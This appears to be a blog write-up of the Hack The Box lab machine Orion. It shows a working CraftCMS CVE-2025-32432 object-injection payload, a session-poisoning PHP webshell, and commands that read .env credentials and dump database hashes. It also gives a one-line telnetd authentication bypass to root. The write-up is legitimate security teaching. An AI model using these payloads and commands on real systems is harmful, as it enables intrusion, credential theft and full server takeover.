HTB Orion โ€” CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass
DEV Community

HTB Orion - CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass

Recon

Standard start: nmap -sCV 10.129.69.96
Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.

echo "10.129.69.96 orion.htb" | sudo tee -a /etc/hosts

The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin โ†’ /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16. That version is vulnerable to CVE-2025-32432 - an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.

Manual CSRF Bypass (the interesting part)

The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.

Craft/Yii ties CSRF validation to session state, so you need three things from the same session:

  • CraftSessionId cookie
  • CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)
  • the actual csrfTokenValue, embedded in the login page's HTML/JS
curl -s -c cookies.txt http://orion.htb/admin/login -o login.html
grep -o 'csrfTokenValue[^,]*' login.html
cat cookies.txt

With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:

{
  "assetId": 1,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
curl -s -b cookies.txt \
  -H "X-CSRF-Token: <csrfTokenValue>" \
  -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform" \
  -d @payload.json -o response.html -w "HTTP %{http_code}\n"

grep -i "PHP Version" response.html

PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.

The Reverse Shell That Wouldn't Come Home

With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module.

First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host: instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.

Second problem was worse: the module got past the CSRF check, injected the stub - and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out - and yet no SYN-ACK ever went back.

I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.

Manual RCE via Session Poisoning

Step 1. Poison a PHP session file with a webshell:

curl -g -s -c webshell_cookies.txt \
  "http://orion.htb/index.php?p=admin/dashboard&a=<?=eval(\$_GET['cmd']);die()?>" \
  -o /dev/null -D -

Note: -g stops curl treating [] in $_GET['cmd'] as glob syntax.

Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):

{
  "assetId": 1,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [{"itemFile": "/var/lib/php/sessions/sess_<id>"}]
    }
  }
}
curl -g -s -b cookies.txt \
  -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST 'http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=system("id");' \
  -d @payload2.json -o response.html

Note: cmd must be a PHP statement, not a raw shell command.
Note: curl rejects literal spaces in URLs - use %20 or base64-encode complex commands.

Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.

Credential Harvesting

Craft's .env is world-readable to www-data:

# cmd=system("cat%20/var/www/html/craft/.env");
# โ†’ CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

MySQL bound to 127.0.0.1 only - queried through RCE, base64-encoded to sidestep quoting headaches:

B64=$(base64 -w0 <<< "system('mysql -u root -pSuperSecureCraft123Pass! orion -e \"select username, email, password from users;\" 2>&1');" | sed 's/+/%2B/g')
curl -g -s -b cookies.txt -H "X-CSRF-Token: <token>" -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform&cmd=eval(base64_decode('$B64'));" \
  -d @payload2.json -o response.html

Got bcrypt hash for a***@orion.htb.

Cracking - Plan A Failed

hashcat -m 3200 ... โ†’ ERROR: no OpenCL device (clinfo showed rusticl, zero devices).
Switched to John:

john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# cracked in ~19s

Password reuse โ†’ SSH as adam.

Privilege Escalation: CVE-2026-24061

netstat -tulnp
# telnet on 127.0.0.1:23
telnet --version
# GNU inetutils 2.7

USER env var passed unsanitized to login(1). -f root skips authentication:

USER="-f root" telnet -a 127.0.0.1

Instant root shell.

Takeaways

  • CSRF tokens are session-bound, not a magic wall - correctly replaying the cookie/token pairing is enough to bypass them for testing.
  • Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.
  • .env files and PHP session storage are attack surface - session files writable by the web server + require()-able = code execution primitive.
  • Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.
  • Internal-only daemons are still root paths once you have any foothold.

Flags

Flags redacted per standard practice for retired-box writeups.

Comments

No comments yet. Start the discussion.